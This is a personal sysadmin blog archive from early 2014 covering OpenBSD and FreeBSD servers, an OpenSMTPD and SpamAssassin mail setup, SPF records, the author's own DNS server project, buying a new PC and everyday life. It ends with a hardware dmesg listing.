Also OpenBSD is looking for corporate and private support in donations to pay its 20,000 dollar a year electricity bill. Once they have that secured the project will continue otherwise it's threatened with shut-down. If you know anyone or you yourself are using OpenBSD don't you think it's time to open your wallet to a project such as OpenBSD which is in need?



The Apple magic wore off

January 19th, 2014

Yesterday I found myself looking through PC mainboards and Intel CPU's. I also inquired about whom to donate / hand-down my other PC to when I get the new one. So I likely won't be getting the Mac Pro even though it's a nice machine. I looked at ASUS Sabertooth TUF mainboard, if it's worth telling.



FreeBSD 10.0 released!

January 21st, 2014

FreeBSD 10.0 has been released. I look forward to making use of this on and off work. Congratulations to the FreeBSD Team. In the past I have donated money to them including 250 dollars last year, we'll have to see what I can do this year, but it's too early in the year to judge how much I want to donate. Right now it's celebration time for most of the BSD's!



Someone actively probed my MPS tunnel (MITM)

January 24th, 2014

My closed-sourced mpsd was probed by an unknown mitm attack, and it hung up.

Jan 24 13:48:51 americas mpsd[21598]: len too long 
At the same time I saw that my host was unable to be pinged past 99% packet loss. What's interesting to note here is that mpsd has a TCP tunnel open so there is sequencing and checksums involved, those were actively forged by the attack.



My apology to OpenBSD

January 28th, 2014

I dropped the bomb on OpenBSD by publically announcing a program on a mailing list that at least in my case puts OpenBSD in an infinite loop. I reproduced this condition on another platform today and here is the console output:

So I want to say I'm sorry publically on my blog. I don't know what I was thinking, but I was stressed that my VPS was constantly in this condition, and having to ask the admin of the VPS host to reset my VPS puts strain on everyone. I just hope someone at OpenBSD can fix this because I can't, I lack the skill, and it seems to be a difficult spot where this infinite loop is played out.



Purchased new iTunes Album

January 31st, 2014

I have decided to spend money on 1 album a month on itunes. So last month I got Gappy Ranks - Shining hope and for the month of february I got Morgan Heritage - Here comes the kings. I like reggae music!



OS Changes, back

February 4th, 2014

Americas.centroid.eu is really unstable with OpenBSD, and I can't really afford it being down all the time. I'm going to put FreeBSD 10.0-RELEASE on it starting tomorrow, hoping FBSD will have a bit more stability. I'm going to have to port the mps software to FreeBSD... ouch.



After a long downtime my VPS americas is back

February 11th, 2014

After failing to install FreeBSD 10 on virtualbox (it cored in the installer)... I have requested a jail vps (basic plan) from hub.org. It took a few days but we're back online (for the blog at least). I'm very happy about this. I'm back running wildcarddnsd on the basic plan vps and I don't know why I had disabled it in the past, I can't remember. We'll have to see.



New naming scheme after planets

February 12th, 2014

I have 1 planet left to name, and that'll happen soon after the month of march. And then I'll be naming hosts after the greek alphabet. This will give me 24 possible names. I have a png from wikipedia here:

This is in my plans.



Security can be about Incentives

February 12th, 2014

Basically if the governments want a secure infrastructure they could offer incentives for companies to act accordingly. How does the government do that? By giving away money, for free, given a set of conditions.

Pretend the incentive is set for secure email in that the provider encrypts per SSL in and outgoing email, that's worth some money. If the provider also encrypts mailboxes that are used to store your mail so that even the administrators would be penalized in time if they snooped that would be another set of duckets.

If the provider installs anti-spoof filters, that's another incentive to give them money. And deflection attacks would be minimized. You can go further, VPN exchanges could be set up which are like Internet exchange points but they only pass ESP and IKE/Oakley. Networks that are interested in attaching to these exchange points will have to "peer" with their peers by exchanging crypto certificates and then their traffic is encrypted over the exchange point.

What else can you do, governments could offer money incentives for people programming in secure Open Source software, and money incentives for people providing right patches to fix mistakes. An entire community of security professionals could thus in a non-binding manner make their living. It's an open market, no deadlines but no bullshit.

Think about it Mr. Politician.



SVPRadio.COM did get Media attention in 2012

February 13th, 2014

I recently found this article at googling for SVP Radio. Probably missed by many as it was new years, but worth the read anyhow. I was silly last night listening on SVP Radio until 4AM! Good times! svpradio.com.



Happy Valentines day!

February 14th, 2014

I got a new book for Valentines day. Written in the german language it is "Peer-to-Peer-Netzwerke" (P2P Networks) by Peter Mahlmann and Christian Schindelhauer. I have read a little bit in this book already and think it was worth the buy.



OpenSMTPD on FreeBSD with SpamAssassin

February 15th, 2014

Today the spam got to me in such a way that I wanted to try out a spam filter. I decided to work with spamassassin because I've never tried it before. SpamAssassin is a perl script that uses Bayesian filters to mark/tag a mail as spam when a certain score is reached.

So what I did was first bring my FreeBSD's mail jail up to speed. A portupgrade -af put everything installed from /usr/ports to the latest version.

Next I installed /usr/ports/mail/p5-Mail-SpamAssassin, I selected to not run as root which was recommended for some reason. Then I played a bit with amavisd and couldn't figure it out. Next I tried spampd which uses spamassassin and it worked right away. With a few tests I installed a new opensmtpd (which isn't the latest in the ports, I compiled it from an old snapshot, beware) configuration file and I'll share it with you:

listen on 10.3.2.1 port 25 tls certificate mail.solarscale.de auth-optional
listen on 2a01:4f8:d13:1980::25 port 25 tls certificate mail.solarscale.de auth-optional
listen on 127.0.0.1 port 10025 tag DESPAMMED

table aliases db:/usr/local/etc/aliases.db
table users db:/usr/local/etc/smtpusers.db

max-message-size 90000000

accept tagged DESPAMMED for domain "centroid.eu" virtual  deliver to mbox
accept tagged DESPAMMED for domain "galileo.solarscale.de" virtual  deliver to mbox
accept tagged DESPAMMED for domain "solarscale.de" virtual  deliver to mbox
accept tagged DESPAMMED for domain "io.solarscale.de" virtual  deliver to mbox
accept tagged DESPAMMED for domain "amdeutschhof.de" virtual  deliver to mbox
accept tagged DESPAMMED for domain "virgostar.net" virtual  deliver to mbox

accept for local alias  deliver to mbox

# domains in order
accept from any for domain "galileo.solarscale.de" alias  relay via smtp://127.0.0.1:10024
accept from any for domain "centroid.eu" virtual  relay via smtp://127.0.0.1:10024
accept from any for domain "solarscale.de" virtual  relay via smtp://127.0.0.1:10024
accept from any for domain "io.solarscale.de" virtual  relay via smtp://127.0.0.1:10024
accept from any for domain "amdeutschhof.de" virtual  relay via smtp://127.0.0.1:10024
accept from any for domain "virgostar.net" virtual  relay via smtp://127.0.0.1:10024

accept for any relay

And then in spampd I had the following config as read from /etc/rc.conf

spampd_enable="YES"
spampd_flags="--user=spamd --group=spamd --host 127.0.0.1:10024 \
--relayhost=127.0.0.1:10025 --dose --tagall --auto-whitelist"

That was all I had to do. I've run a thousand test mails and have watched mail come in, the highest score I got was 3.4 out of 5.0, so not quite spam. But i'm sure I'll get a spam mail one of these days...



New Computer, the decision factor

February 18th, 2014

In 2 months I'm buying a new computer. I plan on gathering a list on what I want and then ask a computer store to put it together for me. That's how I did Jupiter (computer) last. This new computer will be named Mercury. So far I have gathered these links:

Now this selection leaves a few questions. I know the Xeon is more powerful than the Core i7, and I don't need a graphics chip so I'll probably go with a Xeon. But is this CPU compatible with the SABERTOOTH mainboard I do not know. I've found a site that says they work together but that some functionality of the Xeon don't work. My question is.. would that make it more unstable? As far as storage and video card is concerned; I'll be reusing my SSD from Jupiter and also the graphics card, although when these people build my new Mercury I'll ask them to put an AMD/ATI card in there.

Mercury will be running the OpenBSD Operating System natively just like Jupiter did. I'm gonna try to put 32 GB of RAM in there. Jupiter only had 8 GB. Well here's to planning this computer. OBTW if I didn't get OpenBSD on the thing I'd try Linux or buy a Mac.



My Apartment: Year 1

February 19th, 2014

On February 13th, 2013 I moved in here. I don't regret moving here at all. It's a nice place. The setup that you see in the photo is pretty well what it is now, sans the G4 Cube which has been donated to the OpenBSD Project. Anyhow...



Upgraded my FritzBox Repeater 300E

February 20th, 2014

AVM the manufacturer of routers and networking gear has provided a fix on most of its products against a root-exploit. My AVM Repeater 300E was also affected so I flashed its firmware. It took me 30 minutes after that trying to figure out why my network didn't work anymore. Turns out that the upgrade changed the MAC address of the repeater and network nodes behind it and I used static permanent ARP on my OpenBSD router. Hence nothing worked until I deleted the arp entry and updated it with a new one.



Win for the Consumer in Germany

February 25th, 2014

Consumers who have been locked in by their ISP to use a certain router don't have to comply to this anymore. Apparently the Bundesnetzagentur has made it law starting today that "Routerzwang" is not legal anymore. This is a win for the consumer in my eyes. Those ISP's that don't give up access data to their users are making themselves liable to be sued.



Purchased Reggae for March

February 26th, 2014

Two Albums because it's my birthday mid month. I have purchased:

  • Lutan Fyah - Life of a King
  • Queen Ifrica - Penthouse Flashback Series
Ok I'm going to listen to these now...on random.



First of March

March 1st, 2014

While officially still winter until the 20th, March here in Germany will bring us spring weather soon. I already exchanged winter coat for spring jacket last week. Is this a winter to remember? We had 2 snow days this winter season! I don't know and I think I'll forget about this winter next winter. Hopeing for a bit of snow. I'm attaching my 4 seasons picture I made a few years ago.



How should we punish aggressors?

March 2nd, 2014

As I don't like politics too much I'll keep it short. Currently Ukraine is in crisis. It is my opinion that Russia is an aggressor. In my view the only way to de-conflict this is to put UN policing in Crimea. Preferably from South America as Russia would not want a NATO country that close probably.

I fear we may see the second iron curtain fall. And this shifts the ordering of the world once more. If the European Union protests by buying less natural gas it puts pressure on Russia. But we'd be screwed in Germany with our Energiewende ideal. Less natural gas would mean the nuclear power plants may live longer than we wanted. Keep thinking of Chernobyl though! It's a giant risk! And we should speed up the Energiewende at once, in order to have better odds down the road.

I will think of the Ukraine and give hope. Hope for a resolution! At the same time I hope for being worry free from war, we don't need war in Europe again! Peace!



Ordered two books from Amazon

March 3rd, 2014

I have ordered:

  • SQL Cookbook - Gennick, Jonathan
  • Redis in Action - Carlson, Josiah L.
I'm hoping to get more insights in these two databases.



What happened to *REAL* technical support?

March 4th, 2014

I have trouble getting IPv6 with my OpenBSD router through my provider. With an AVM router I was able to get it but not with OpenBSD, so I asked my provider:

My question:

Ist die IPv6 implementierung die M-net benutzt irgendwo beschrieben? Seit ich   
meinen router ausgetauscht habe bekomme ich kein IPv6 mehr und will mich da    
reinarbeiten.

ISP's answer:

An Ihrem Anschluss wird noch eine IPv4 vergeben. Eine IPv6 ist offiziell nur mit
unseren neuen Vertr?gen m?glich.                                               
Sie k?nnen allerdings nach dem Benutzernamen das @v6.mnet-online.de hinzuf?gt.  
Bitte beachten Sie, dass wir zu dieser M?glichkeit keinen Support anbieten     
k?nnen. Hierbei handelt es sich um das damalige IPv6 Testsystem. Auch muss Ihr 
Router IPv6 f?hig sein.

My second attempt

Ja das ist es.  Nur es spricht nicht v6 ?ber das PPPoE.  K?nnen Sie mir sagen   
welches protokoll benutzt wird um die IPv6 configuration auszutauschen?  Welche
standarden oder protokolle die in RFC's stehen benutzt werden?      

ISP's answer:

IPv6 ist das Protokoll. Ein IPv6 f?higer Router sollte mit dem genannten Zusatz,
die Verbindung aufbauen k?nnen. Wie bereits mitgeteilt, k?nnen wir hierf?r     
keinen Support geben oder Informationen zur internen Infrastruktur.  

Sorry for the german, there is no translation. This conversation was akin to talking to a dead doorknob anyhow. What happened to RFC slinging technologists? They are not at my ISP unfortunately!



Viewable starsky tonight

March 8th, 2014

There is a bit of foggy skies but other than that I was able to see the following: sirius, orion, gemini, jupiter centered in gemini between castor and pollux and just as much below them as that distance, auriga and what seemed to be the half moon in taurus, but i'd have to confirm that. I also saw ursa major on the other side of the house. It's a pity I couldn't get a picture, but I know now that on march 8th at 9:08PM the starsky is visible with those constellation towards the west.



March Equinox in 1 Week

March 13th, 2014

If you celebrate the equinox then you have one week to get ready. It is on thursday, march 20th.



Happy Pi day!

March 14th, 2014

Happy Pi day. Although it's an american date format, we should be able to celebrate it worldwide. 03.14.14, just wait until next year it'll be more accurate at 03.14.15.



The case with consumer routers

March 14th, 2014

Consumer routers are inherently bad. Brands like AVM, D-Link, Speedport and Linksys come to my mind. AVM and D-Link recently had a security warning and those people using those routers should update their firmware. So what do I do? Well I'm somewhat in the same position as everyone else. I use an AVM router for LTE internet and I have a homebrew solution for my DSL connection.

I'd like to talk about this. I use a Soekris firewall for my DSL connected to an allnet dumb DSL modem. The soekris costs around 500 euros so it's not exactly cheap, but it gives freedom. You can run Linux, FreeBSD, NetBSD and OpenBSD on these and keep those operating systems up to date when patches come out. I view this as more stable and having more functionality than consumer routers. Other brands for similar routers are Alix, Lanner and Axiomtek. These are usually Atom based and have quite a bit of CPU power. And for all these there is ongoing support in the individual open source movements. However you do have to learn a little about firewalls (Pf for instance) to be able to restrict incoming traffic and do NAT. I often wonder why not more people are going this route.

I suspect we'll always have consumer routers pop up with problems until they are gotten rid of once and for all, because what does Internet mean to you? Is it worth 500 euros for a router and having peace of mind or is it worth just another throw-away product with a 29.95 a month Internet plan? Where is the seriousness there? And why are you using online banking with these? I don't use online banking btw. I've outlined options in this article for people to consider, but everyone make up your own minds.



As the world turns

March 19th, 2014

Currently there is world events noone foresaw just a few months ago. I'm considering letting my VPS in Hong Kong expire as the route to there may cross Russia's links. Before I was actually happy to take a non-NSA controlled route given the Snowden revelations. Now I may even consider a new VPS in the empire itself. Who knows, I'll make preparations for a new VPS in August at the latest. The VPS in HK had to be refurbished anyhow as it's running FreeBSD 8.4, moving the entire thing somewhere else may be just as much effort.



Spring has sprung!

March 20th, 2014

Today is the first day of spring. In about 6 hours as I write this is the equinox, precisely at 16:57 UTC according to wikipedia. Happy spring! Good bye winter!



I hunt Sysadmins

March 21st, 2014

"There's a man with a gun over there, Telling me I got to beware..", maybe these are familiar lyrics to you. They are from Buffalo Springfield. I kinda feel like this when I read this article. It's about the NSA and similar secret services targetting sysadmins. Not to get all frantic or anything.. why us? The reason is quite clear though. Then the other question is "who will protect us?" or "who watches the watchers?". Is it just doomed fate for every sysadmin to lose their cools and spend time in a mental institution? Because Internet warfare has casualties one might guess.



americas.centroid.eu upgraded to FreeBSD 10

March 26th, 2014

If you've experienced this blog not being reachable you could have tried:

  • emea.centroid.eu
  • ap.centroid.eu
to get the latest. But the commenting system was off. My VPS provider has now upgraded the jails to FreeBSD 10.0 and that included fixing my vps up. It took a day to get most things back in order.



Scaling back on donations this year

March 27th, 2014

I've become aware that I'm making a lot less than before because I'm getting paid in Canadian Dollars. This forces me to spend less and the first to go is donations. Mainly OpenBSD, I'm possibly going to give 50 euros more to make it 250 euros donated this year. FreeBSD will possibly not get a penny. This is also because I'm upset they changed their donor listings. Sorry.

If you're interested in the CADEUR trend check this yahoo.com currency calculator. Right now the CADEUR went up, but it's a long cry from May 2013 as seen on the 1 year range. C'mon CAD gain strength! And it would be nice if the euro was a bit weaker.



Oculus Rift, too bad

March 27th, 2014

Since May 15th, 2013 I've been writing about Oculus Rift. They've been aquired by Facebook. Too bad. I'm off their mailing list now and won't be all that interested anymore.



My C Primer hits 30,000 views

March 30th, 2014

In March 2014 my C Primer hit 30,000 views. It has slowed down a little bit.

  • January 2008, first draft
  • November 22, 2011 hits 10,000 views
  • November 10, 2012 hits 20,000 views
  • March 2014 hits 30,000 views
Thanks to all my readers who may also read my blog. The C Primer is found here.



I'm getting serious about new PC now...

March 30th, 2014

  • Intel Xeon E3-1280v3 CPU
  • 32 GB RAM (non-ECC) (Corsair?)
  • ASUS Z87WS Mainboard
  • 650 Watt S.V. (Coolermaster?)
  • 160 GB SSD (Intel)
  • Radeon Graphic Card
  • Blu Ray Disc Rewriter (LG?)
  • Computer case + keyboard
That's what I collected so far, next week I'm going to get a cost estimate.



Pre-Ordered OpenBSD 5.5

March 31st, 2014

From OpenBSD Europe. This year puffy is not wrapping back in time. The release song is found here. Thanks OpenBSD!



Happy 5th Anniversary Centroid.EU Blog!

March 31st, 2014

Although belated I'd like to make you aware that we surpassed the blogs 5th Anniversary on January 16th, 2014. Although the articles are missing until May 2009, they were once there. I had expired these but kept their article titles here.

The blog was always like a public diary to me. I just am not important enough to write about cool topics that are/aren't directly mine. Oh well. The history of centroid.eu is longer than even this though, but this is the longest I had centroid.eu in one piece. It expired once even before that, but before that I was going through some hard times and the seriousness of the blog wasn't there. Now it's pretty serious stuff IMO. I like writing in this blog and I hope to be writing for another 5 years in 2019! See you then!



Good Weather ahead?

April 2nd, 2014

I turned the heat off here at home, so I'm hoping the weather doesn't get cold again. Last year I spent over 8000 KWh's and 80% for heating. Not ideal but perhaps the price in electricity will drop with all these "green" wind turbines and solar panels. Next year I'll spend less money on electricity as I'll heat my home a little less, it was too warm occasionally in my apartment last year.

In other news the local nuclear power plant Grafenrheinfeld has announced that it will shut its operation in May 2015. The reason they are saying this is that it is unable to compete on the energy market and it's not worth it any more. I think this is good news. I've been against this nuclear power plant almost since it began operation, see here..



Where would you hide?

April 4th, 2014

In nature there is always threats. I recently watched a documentary this weekend about the Great Dusky Swift which hides and sleeps behind waterfalls. This is a natural safe haven for the bird species, pretty ingenious.

In the mid 1990's I played a online BBS game called tradewars, where players trade, steal, and destroy each other. It was ANSI based and I even later attempted at creating a helper program for this at twh.centroid.eu, the helper sucks but what my favourite strategy was in that game was to check if a robot planet named ferrengal was cutting off the entrance to a tunnel sector. If yes then I'd shoot a photon torpedo into ferrengal to stun it and quickly move past it into this tunnel. Here I could build my home planets and have a safe haven to sleep. It was much like the Great Dusky Swift of south america chosing to sleep behind a waterfall.

I wonder what the future holds, are wormholes possible? And if so can one create a wormhole that is a sock? ie. it has no end? If that were possible then hiding in such a stretch of space-time would be like putting on a cloak. Spaceships that may come from other galaxies to study us may hide inside these "socks" and not worry about being seen at all. It is almost like hiding behind a waterfall... :-) in space.



Heartbleed, my story.

April 8th, 2014

A new 0-day vulnerability is making the rounds . The vulnerability works on both clients (Mozilla Firefox for instance) and servers (mail, web or anything that uses SSL/TLS with heartbeats). I saw some strangeness in my OpenBSD laptop on console as I was shutting it down, but luckily I have sandboxed the firefox to another user so it appeared to me like a permission denied error. It's possible someone wanted to read my $HOME/.ssh/id_rsa* files, this is why I implemented the running as another user in the first place.

So as mitigation I have applied patches to my OpenBSD workstations. Also I have turned off opensmtpd on my panama VPS which does a backup MX function. Until I have that fixed (possibly with help of the hoster) it won't be turned on again. All other versions of OpenSSL that I use are not affected.



My new Computer is ordered

April 11th, 2014

I have ordered my new computer today, this computer I'll call mercury.

  • Intel Xeon E3-1275v3 CPU
  • 4 x 8GB Kingston RAM
  • ASUS Z87-WS motherboard
  • SSD Intel 530 180 GB
  • Bluray DVD LG
  • Thermaltake 630W PS
  • Extra CPU cooler
  • Fractal Design 3000 towercase
  • Mouse and Keyboard
It came to 1429 euros, which I had budgetted above.



Wildcarddnsd has a YACC parser now!

April 13th, 2014

Yesterday before going to bed I committed my YACC parser for wildcarddnsd. Wildcarddnsd is my authoritative DNS Server that I programmed, it had a sloppy C based parse program before that. The YACC parser is great, I took parts from OpenSMTPD project and have thus added their license to the top of it (with my name added of course). The YACC parsing was mostly done by myself and the lex & yacc O'Reilly book that I had for at least a decade now. It should be noted that it took me 1 year almost to write this YACC file, I didn't work hard on it, but the logic of YACC did stall me at times.

So what's next for wildcarddnsd? I hope to be committing more YACC in the following months before the 0.9 BETA (should be in november). What we need is a way to put commandline options into the configfile, which is really simple now. Thanks for reading! :-) I'm pretty happy.



Wildcarddnsd now has configuration file options

April 15th, 2014

Not long after the YACC file was finished I have given the configuration file options that were only in the command line before. So I have moved these over. Here a small excerpt from the commit log message:

-b option == bind IP;
-i option == interface "lo0";
-n option == fork 2;
-p option == port 10034;
-l option == log;
This took me one hours to program approximately. The yacc configuration is great!



All my domains now have spf records

April 18th, 2014

I couldn't deliver to gmail anymore today. I think my parents spammed some day. Or someone with my identity from another server? After I had installed an spf record in the DNS system (TXT RR spf1) gmail would take my mail on again. This is what my SPF record looks like from the dns query program dig:

;; ANSWER SECTION:
centroid.eu.            84994   IN      TXT     \
"v=spf1 ip4:78.47.14.22 ip4:200.46.208.61 ip4:103.6.85.219 ip6:2a01:4f8:d13:1980::/64 ~all"
Any other than these IPv4 and IPv6 networks will get a softfail from now on. Probably a 4XX reply and no mail delivered. It's funny that gmail requires spf records now?



SPF support in wildcarddnsd

April 21st, 2014

Happy Easter! I have programmed SPF support into wildcarddnsd just now. I hope I won't be leaving any easter eggs behind but if I do it's possibly pasted from the TXT functions, since SPF is TXT with a different RR# (99). I'll be moving this into production any time now.



Mercury (Computer) has arrived!

April 22nd, 2014

Here is the first pictures (more to follow)...

I am very proud right now :-).



More pictures of Mercury (Computer)

April 22nd, 2014

Here is more snapshots of Mercury, before I turn it on.





These were all made with my iPod.



Mercury (Computer) OpenBSD dmesg

April 23th, 2014

I paniced a little last night. OpenBSD in -current out of the box with no patches isn't ready for it yet. Luckily an OpenBSD developer helped me with patches that made the wd0 drive (in IDE mode) work. Here then is a patched dmesg:

OpenBSD 5.5-current (GENERIC.MP) #0: Wed Apr 23 10:04:36 CEST 2014
    pjp@jupiter.centroid.eu:/usr/src/sys/arch/amd64/compile/GENERIC.MP
real mem = 34006806528 (32431MB)
avail mem = 33092829184 (31559MB)
mpath0 at root
scsibus0 at mpath0: 256 targets
mainbus0 at root
bios0 at mainbus0: SMBIOS rev. 2.7 @ 0xe9950 (91 entries)
bios0: vendor American Megatrends Inc. version "1504" date 10/04/2013
bios0: ASUS All Series
acpi0 at bios0: rev 2
acpi0: sleep states S0 S3 S4 S5
acpi0: tables DSDT FACP APIC FPDT LPIT SSDT SSDT MCFG HPET SSDT SSDT BGRT
acpi0: wakeup devices PXSX(S4) RP01(S4) PXSX(S4) RP02(S4) PXSX(S4) RP03(S4) PXSX
(S4) RP04(S4) PXSX(S4) RP05(S4) PXSX(S4) RP06(S4) PXSX(S4) RP07(S4) PXSX(S4) RP0
8(S4) [...]
acpitimer0 at acpi0: 3579545 Hz, 24 bits
acpimadt0 at acpi0 addr 0xfee00000: PC-AT compat
cpu0 at mainbus0: apid 0 (boot processor)
cpu0: Intel(R) Xeon(R) CPU E3-1275 v3 @ 3.50GHz, 3604.71 MHz
cpu0: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,\
PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,\
MWAIT,DS-CPL,VMX,SMX,EST,TM2,SSSE3,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,\
x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,LONG,LAHF,ABM,\
PERF,ITSC,FSGSBASE,BMI1,HLE,AVX2,SMEP,BMI2,ERMS,INVPCID,RTM
cpu0: 256KB 64b/line 8-way L2 cache
cpu0: smt 0, core 0, package 0
mtrr: Pentium Pro MTRR support, 10 var ranges, 88 fixed ranges
cpu0: apic clock running at 102MHz
cpu0: mwait min=64, max=64, C-substates=0.2.1.2.4, IBE
cpu1 at mainbus0: apid 2 (application processor)
cpu1: Intel(R) Xeon(R) CPU E3-1275 v3 @ 3.50GHz, 3604.30 MHz
cpu1: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,\
PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,\
MWAIT,DS-CPL,VMX,SMX,EST,TM2,SSSE3,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,\
SSE4.2,x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,LONG,\
LAHF,ABM,PERF,ITSC,FSGSBASE,BMI1,HLE,AVX2,SMEP,BMI2,ERMS,INVPCID,RTM
cpu1: 256KB 64b/line 8-way L2 cache
cpu1: smt 0, core 1, package 0
cpu2 at mainbus0: apid 4 (application processor)
cpu2: Intel(R) Xeon(R) CPU E3-1275 v3 @ 3.50GHz, 3604.30 MHz
cpu2: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,\
PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,\
MWAIT,DS-CPL,VMX,SMX,EST,TM2,SSSE3,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,\
x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,LONG,LAHF,ABM,\
PERF,ITSC,FSGSBASE,BMI1,HLE,AVX2,SMEP,BMI2,ERMS,INVPCID,RTM
cpu2: 256KB 64b/line 8-way L2 cache
cpu2: smt 0, core 2, package 0
cpu3 at mainbus0: apid 6 (application processor)
cpu3: Intel(R) Xeon(R) CPU E3-1275 v3 @ 3.50GHz, 3604.30 MHz
cpu3: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,\
PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,\
MWAIT,DS-CPL,VMX,SMX,EST,TM2,SSSE3,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,\
x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,LONG,LAHF,ABM,\
PERF,ITSC,FSGSBASE,BMI1,HLE,AVX2,SMEP,BMI2,ERMS,INVPCID,RTM
cpu3: 256KB 64b/line 8-way L2 cache
cpu3: smt 0, core 3, package 0
cpu4 at mainbus0: apid 1 (application processor)
cpu4: Intel(R) Xeon(R) CPU E3-1275 v3 @ 3.50GHz, 3604.30 MHz
cpu4: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,\
PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,\
MWAIT,DS-CPL,VMX,SMX,EST,TM2,SSSE3,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,\
x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,LONG,LAHF,ABM,\
PERF,ITSC,FSGSBASE,BMI1,HLE,AVX2,SMEP,BMI2,ERMS,INVPCID,RTM
cpu4: 256KB 64b/line 8-way L2 cache
cpu4: smt 1, core 0, package 0
cpu5 at mainbus0: apid 3 (application processor)
cpu5: Intel(R) Xeon(R) CPU E3-1275 v3 @ 3.50GHz, 3604.30 MHz
cpu5: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,\
PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,\
MWAIT,DS-CPL,VMX,SMX,EST,TM2,SSSE3,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,\
x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,LONG,LAHF,ABM,\
PERF,ITSC,FSGSBASE,BMI1,HLE,AVX2,SMEP,BMI2,ERMS,INVPCID,RTM
cpu5: 256KB 64b/line 8-way L2 cache
cpu5: smt 1, core 1, package 0
cpu6 at mainbus0: apid 5 (application processor)
cpu6: Intel(R) Xeon(R) CPU E3-1275 v3 @ 3.50GHz, 3604.30 MHz
cpu6: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,\
PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,\
MWAIT,DS-CPL,VMX,SMX,EST,TM2,SSSE3,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,\
x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,LONG,LAHF,ABM,\
PERF,ITSC,FSGSBASE,BMI1,HLE,AVX2,SMEP,BMI2,ERMS,INVPCID,RTM
cpu6: 256KB 64b/line 8-way L2 cache
cpu6: smt 1, core 2, package 0
cpu7 at mainbus0: apid 7 (application processor)
cpu7: Intel(R) Xeon(R) CPU E3-1275 v3 @ 3.50GHz, 3604.30 MHz
cpu7: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,\
PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,\
MWAIT,DS-CPL,VMX,SMX,EST,TM2,SSSE3,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,\
x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,LONG,LAHF,ABM,\
PERF,ITSC,FSGSBASE,BMI1,HLE,AVX2,SMEP,BMI2,ERMS,INVPCID,RTM
cpu7: 256KB 64b/line 8-way L2 cache
cpu7: smt 1, core 3, package 0
ioapic0 at mainbus0: apid 8 pa 0xfec00000, version 20, 24 pins
acpimcfg0 at acpi0 addr 0xf8000000, bus 0-63
acpihpet0 at acpi0: 14318179 Hz
acpiprt0 at acpi0: bus 0 (PCI0)
acpiprt1 at acpi0: bus 5 (RP01)
acpiprt2 at acpi0: bus 6 (RP03)
acpiprt3 at acpi0: bus 7 (RP06)
acpiprt4 at acpi0: bus 8 (RP08)
acpiprt5 at acpi0: bus 1 (PEG0)
acpiprt6 at acpi0: bus -1 (PEG1)
acpiprt7 at acpi0: bus -1 (PEG2)
acpiec0 at acpi0: Failed to read resource settings
acpicpu0 at acpi0: C1, PSS
acpicpu1 at acpi0: C1, PSS
acpicpu2 at acpi0: C1, PSS
acpicpu3 at acpi0: C1, PSS
acpicpu4 at acpi0: C1, PSS
acpicpu5 at acpi0: C1, PSS
acpicpu6 at acpi0: C1, PSS
acpicpu7 at acpi0: C1, PSS
acpipwrres0 at acpi0: FN00, resource for FAN0
acpipwrres1 at acpi0: FN01, resource for FAN1
acpipwrres2 at acpi0: FN02, resource for FAN2
acpipwrres3 at acpi0: FN03, resource for FAN3
acpipwrres4 at acpi0: FN04, resource for FAN4
acpitz0 at acpi0: critical temperature is 105 degC
acpitz1 at acpi0: critical temperature is 105 degC
acpibat0 at acpi0: BAT0 not present
acpibat1 at acpi0: BAT1 not present
acpibat2 at acpi0: BAT2 not present
